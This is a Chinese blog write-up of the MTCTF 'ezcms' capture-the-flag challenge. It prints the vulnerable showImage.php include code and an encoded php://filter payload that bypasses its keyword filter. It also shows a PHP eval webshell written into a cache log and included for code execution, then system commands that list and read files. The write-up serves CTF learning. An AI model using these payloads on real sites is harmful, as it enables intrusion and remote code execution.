MTCTF复现[ezcms]

本文详细介绍了如何复现一个MTCTF挑战,涉及环境配置、文件读取漏洞、编码绕过及文件包含漏洞的利用。通过解析源码,构造payload,最终获取敏感信息。过程中发现了非预期解,即通过文件包含漏洞而非反序列化来执行代码。
摘要由CSDN通过智能技术生成

MTCTF复现[ezcms]
环境配置:

docker pull y4tacker/ez_yxcms:1.0

进入界面,目录扫描一下,得到:
在这里插入图片描述访问robots.txt:

在这里插入图片描述
在这儿找到密码,md5解密即可:attack

在这里插入图片描述
用户attack,密码attack登陆就可以了

看到头像处的url为

class/showImage.php?file=logo.jpg

应该可以进行文件读取,所以去掉logo.jpg,然后bp抓包,得到源码:

<?php


error_reporting(0);
if ($_GET['file']){
    $filename = $_GET['file'];
    if ($filename=='logo.jpg'){
        header("Content-Type:image/png");
        echo file_get_contents("../static/images/logo.jpg");
    }else{
        ini_set('open_basedir','./');
        if ($filename=='hint.php'){
            echo 'nononono!';
        } else{
            if(preg_match('/read|[\x00-\x24\x26-\x2c]| |base|rot|strip|encode|flag|tags|iconv|utf|input|convertstring|lib|crypt|\.\.|\.\//i', $filename)){
                echo "hacker";
            }else{
                include($filename);
            }
        }
    }
}else{
    highlight_file(__FILE__);
}

源码过滤了很多东西,但是可以用编码来进行绕过:
并且虽然过滤了read,但是可以不要read,因为这二者是等价的
payload:

php://filter/conv%25%36%35rt.bas%25%36%3564-encod%25%36%35/resource=hint.php

得到hint.php的内容:

<?php
//以下是class目录结构
/*
- class
    -- cache
    -- templates
        --- api
            - Api.php
        ---admin
            -add_category.php
            -category_list.php
            -edit_category.php
            -admin.php
            -footer.php
            -header.php
            -left.php
        - login.php
        - index.php
        - api.php
    -- auth.php
    -- file_class.php
    -- hint.php
    -- Medoo.php
    -- render_file.php
    -- showImage.php
    -- info.php
*/

依次读取各个源码,在auth.php里发现:
在这里插入图片描述
实例化了info,跟进info,发现:

在这里插入图片描述

大概就是会把参数t的内容写到log函数里,并且文件名是/class/cache,可以通过文件包含漏洞来执行该文件
构造payload:

t=<?php @eval($_POST['yy']);?>

在这里插入图片描述
可以看到已经successful了
接下来访问构造payload:

yy=system(‘ls /’);

在这里插入图片描述
发现flagg,接着

yy=system(‘ls -al /’)

来读一下权限
在这里插入图片描述
最后构造yy=system(‘cat /flagg’);
但由于里面的内容是空的,所以读不出来

这是这道题的非预期解,预期解是正常的反序列化,详细的话可以看其他师傅的wp

评论 5
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

o3Ev

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值